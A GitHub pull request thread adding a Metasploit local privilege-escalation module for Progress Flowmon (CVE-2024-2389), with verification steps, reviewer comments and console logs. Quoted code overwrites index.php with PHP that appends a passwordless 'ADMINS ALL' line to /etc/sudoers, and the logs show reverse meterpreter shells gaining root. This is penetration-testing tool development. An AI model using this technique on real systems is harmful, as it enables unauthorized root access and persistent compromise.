Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add local privesc module for Flowmon #19151

Open
wants to merge 10 commits into
base: master
Choose a base branch
from

Conversation

DaveYesland
Copy link
Contributor

This adds a local privesc exploit module which abuses the sudoers permissions for the Flowmon user to elevate to root.

Vulnerable Application

Progress Flowmon up to at least version 12.3.2 is vulnerable to local privilege escalation from the
flowmon user to root. This is possible due to the
flowmon user being able to run several commands with
sudo. This module exploits the ability to overwrite a
PHP file and execute it with sudo granting full sudo
permissions to the flowmon user and elevating the
shell to a root shell.

For more details on the vulnerability:
https://rhinosecuritylabs.com/research/cve-2024-2389-in-progress-flowmon/ (privesc methods)

https://support.kemptechnologies.com/hc/en-us/articles/24878235038733-CVE-2024-2389-Flowmon-critical-security-vulnerability

This application is available in cloud marketplaces:

Verification Steps

  1. Install the application
  2. Start msfconsole
  3. Gain a session on a Progress Kemp Loadmaster target as the flowmon user
  4. Do: use exploits/linux/local/pprogress_flowmon_sudo_privesc_2024
  5. Do: set SESSION <session>
  6. Do: set LHOST <your host IP>
  7. Do: run
  8. You should get a shell as the root user.

Scenarios

Flowmon 12.2


Active sessions
===============

  Id  Name  Type                   Information                          Connection
  --  ----  ----                   -----------                          ----------
  2         meterpreter x64/linux  flowmon @ flowmon.my3m4o21xjze5fomt  138.111.211.11:4444 -> 172.174.209.1
                                   xp5e53h2h.bx.internal.cloudapp.net   01:50756 (10.1.0.4)

msf6 exploit(linux/local/progress_flowmon_sudo_privesc) > show options

Module options (exploit/linux/local/progress_flowmon_sudo_privesc):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   SESSION       2                yes       The session to run this module on
   TEMP_PAYLOAD  /tmp/sCmGZ       yes       The temporary name to use to store the payload.


Payload options (linux/x64/meterpreter_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  138.111.211.11   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf6 exploit(linux/local/progress_flowmon_sudo_privesc) > run

[*] Started reverse TCP handler on 138.111.211.11:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Copying /var/www/shtml/index.php to /tmp/index.php.bak
[*] Overwriting /var/www/shtml/index.php with payload
[*] Executing sudo to elevate privileges
[*] Replacing index.php with original file
[+] Deleted /tmp/sCmGZ
[*] Meterpreter session 3 opened (138.111.211.11:4444 -> 172.174.209.101:51042) at 2024-05-01 15:41:10 +0000

meterpreter > sysinfo
Computer     : flowmon.my3m4o21xjze5fomtxp5e53h2h.bx.internal.cloudapp.net
OS           : CentOS 7.9.2009 (Linux 3.10.0-1160.76.1.el7.flowmon.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: root

@bwatters-r7
Copy link
Contributor

Whoever grabs this should probably also grab #19150

)
)
register_options([
OptString.new('TEMP_PAYLOAD', [true, 'The temporary name to use to store the payload.', '/tmp/' + Rex::Text.rand_text_alpha(5..9) ])
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

print_status('Copying /var/www/shtml/index.php to /tmp/index.php.bak')
cmd_exec('cp /var/www/shtml/index.php /tmp/index.php.bak')
print_status('Overwriting /var/www/shtml/index.php with payload')
cmd_exec('echo \'<?php system("echo \\"ADMINS ALL=(ALL) NOPASSWD: ALL\\" >> /etc/sudoers"); ?>\' > /var/www/shtml/index.php;')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

is it possible to write to any location, or does it have to be index.php? 👀

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Should we inform the user that they should undo this change afterwards?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

is it possible to write to any location, or does it have to be index.php?

It does have to be index.php just because that is what is initially allowed in the sudoers file.

register_file_for_cleanup(datastore['TEMP_PAYLOAD'])

print_status('Copying /var/www/shtml/index.php to /tmp/index.php.bak')
cmd_exec('cp /var/www/shtml/index.php /tmp/index.php.bak')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Is there the possibility of this temporary file copy failing half way through, and subsequent attempts permanently accidentally deleting the file?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I made a change here and opted to read the file and store it in a variable in ruby to avoid this copy operation. Afterwards the module overwrites the file with it's original contents.

Note i did try appending the one necessary line of php system("echo \\"ADMINS ALL=(ALL) NOPASSWD: ALL\\" >> /etc/sudoers") to the end of the file and then using sed to remove it later - however the call to sudo /usr/bin/php /var/www/shtml/index.php Cli\\:AddNewSource s; fails if the original contents of index.php exist in the file. So it does seem you have to overwrite the contents one way or another.

@jheysel-r7 jheysel-r7 self-assigned this May 21, 2024
Copy link
Contributor

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the module @DaveYesland! I was able to test this on the latest version of Progress Flowmon 12.3.5. Just a couple comments.

Testing

msf6 exploit(linux/local/progress_flowmon_sudo_privesc_2024) > run

[-] Handler failed to bind to <redacted>:4444:-  -
[*] Started reverse TCP handler on 0.0.0.0:4444
[!] SESSION may not be compatible with this module:
[!]  * Unknown session arch
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[!] Write partially succeeded then failed. May need to manually clean up /tmp/COqwjffZ
[*] Copying /var/www/shtml/index.php to /tmp/index.php.bak
[*] Overwriting /var/www/shtml/index.php with payload
[*] Executing sudo to elevate privileges
[*] Replacing index.php with original file
[+] Deleted /tmp/COqwjffZ
[*] Meterpreter session 2 opened (192.168.2.23:4444 -> 3.144.10.52:55208) at 2024-05-21 15:47:39 -0400

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : ip-172-31-12-58.us-east-2.compute.internal
OS           : CentOS 7.9.2009 (Linux 3.10.0-1160.108.1.el7.flowmon.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >

end

def exploit
if exists?(datastore['TEMP_PAYLOAD'])
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

In order to avoid this situation, an ensure block should be added to the end of the exploit method which call's the FileDropper's cleanup method.

DaveYesland and others added 7 commits May 21, 2024 13:39
…4.rb

Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
…4.rb

Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
…4.rb

Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
…4.rb

Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
…o_privesc_2024.md

Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
…4.rb

Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
@jheysel-r7
Copy link
Contributor

Hey @DaveYesland, thanks so much for making those changes! The Lint / Lint msftidy tests are failing - in the root directory of metasploit-framework if you run the following command it should fix the failing tests:

➜  metasploit-framework git:(b3bc4a6c68) ✗ rubocop -a modules/exploits/linux/local/progress_flowmon_sudo_privesc_2024.rb
Inspecting 1 file
C

Offenses:

modules/exploits/linux/local/progress_flowmon_sudo_privesc_2024.rb:45:29: C: [Corrected] Style/TrailingCommaInArguments: Avoid comma after the last parameter of a method call.
        'Privileged' => true,
                            ^
modules/exploits/linux/local/progress_flowmon_sudo_privesc_2024.rb:83:9: C: [Corrected] Layout/TrailingWhitespace: Trailing whitespace detected.
  ensure
        ^

1 file inspected, 2 offenses detected, 2 offenses corrected

@jheysel-r7 jheysel-r7 added module docs rn-modules release notes for new or majorly enhanced modules labels May 23, 2024
Copy link
Contributor

@jheysel-r7 jheysel-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for another great module @DaveYesland! I made a couple changes based on the comments left on the PR. I also noticed the /etc/sudoers file wasn't getting cleaned up so i added a method to take care of that. Testing was as expected, I think this is almost ready to land 🚀

msf6 exploit(linux/local/progress_flowmon_sudo_privesc_2024) > rexploit
[*] Reloading module...

[*] Started reverse TCP handler on 192.168.2.23:5555
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Found 2 indicators this is a Progress Flowmon product
[!] The service is running, but could not be validated.
[*] Saving payload as /tmp/.fovaiiazfuhl
[*] Overwriting /var/www/shtml/index.php with payload
[*] Executing sudo to elevate privileges
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.2.26
[+] Deleted /tmp/.fovaiiazfuhl
[*] Cleaning up addition to /etc/sudoers
[*] Meterpreter session 9 opened (192.168.2.23:5555 -> 192.168.2.26:33408) at 2024-05-23 16:46:10 -0400
[*] Restoring /var/www/shtml/index.php file contents...

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : localhost.localdomain.localdomain
OS           : CentOS 7.9.2009 (Linux 3.10.0-1160.102.1.el7.flowmon.x86_64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > bg

register_file_for_cleanup(datastore['TEMP_PAYLOAD'])

print_status('Copying /var/www/shtml/index.php to /tmp/index.php.bak')
cmd_exec('cp /var/www/shtml/index.php /tmp/index.php.bak')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I made a change here and opted to read the file and store it in a variable in ruby to avoid this copy operation. Afterwards the module overwrites the file with it's original contents.

Note i did try appending the one necessary line of php system("echo \\"ADMINS ALL=(ALL) NOPASSWD: ALL\\" >> /etc/sudoers") to the end of the file and then using sed to remove it later - however the call to sudo /usr/bin/php /var/www/shtml/index.php Cli\\:AddNewSource s; fails if the original contents of index.php exist in the file. So it does seem you have to overwrite the contents one way or another.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Status: In Progress
Development

Successfully merging this pull request may close these issues.

None yet

4 participants